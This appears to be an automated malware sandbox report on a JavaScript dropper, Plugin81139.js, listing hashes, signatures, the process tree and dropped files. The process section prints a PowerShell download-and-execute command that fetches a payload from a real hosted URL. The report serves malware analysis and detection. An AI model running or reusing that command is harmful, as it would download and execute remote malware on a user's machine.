Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11-12-2024 09:49

General

  • Target

    Plugin81139.js

  • Size

    389KB

  • MD5

    a0c2859596c5ce9790594ba975cb0eac

  • SHA1

    3fcb95f0177d3ec86496f2388fb78b0b2d28820b

  • SHA256

    65c941cb336cf645d782e99b761fb37740a615948c6c2c83a3bcba882a2c97a4

  • SHA512

    738072f15990c51584c71962043e3bea38dd3b758170815f5daddfceb8622f2eff13e9c8ec1dfcc4f9c150eb8065aa9a4ac38b80e712f037ad5c325de96cfb9e

  • SSDEEP

    1536:UfffKffafffKffafffKffafffKffafffKffafffKfffffffffffffffffffffffz:XHuCM4

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dxtifaxks/raw/upload/v1733864899/novojeitoasync_zhpjwy.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Plugin81139.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ((New-Object System.Net.WebClient).DownloadString('https://res.cloudinary.com/dxtifaxks/raw/upload/v1733864899/novojeitoasync_zhpjwy.txt'))
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2024

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabD6A2.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\TarD6C4.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • memory/2024-4-0x000007FEF56BE000-0x000007FEF56BF000-memory.dmp

    Filesize

    4KB

  • memory/2024-5-0x000000001B590000-0x000000001B872000-memory.dmp

    Filesize

    2.9MB

  • memory/2024-7-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

    Filesize

    9.6MB

  • memory/2024-6-0x0000000002040000-0x0000000002048000-memory.dmp

    Filesize

    32KB

  • memory/2024-8-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

    Filesize

    9.6MB

  • memory/2024-10-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

    Filesize

    9.6MB

  • memory/2024-9-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

    Filesize

    9.6MB

  • memory/2024-11-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

    Filesize

    9.6MB

  • memory/2024-46-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

    Filesize

    9.6MB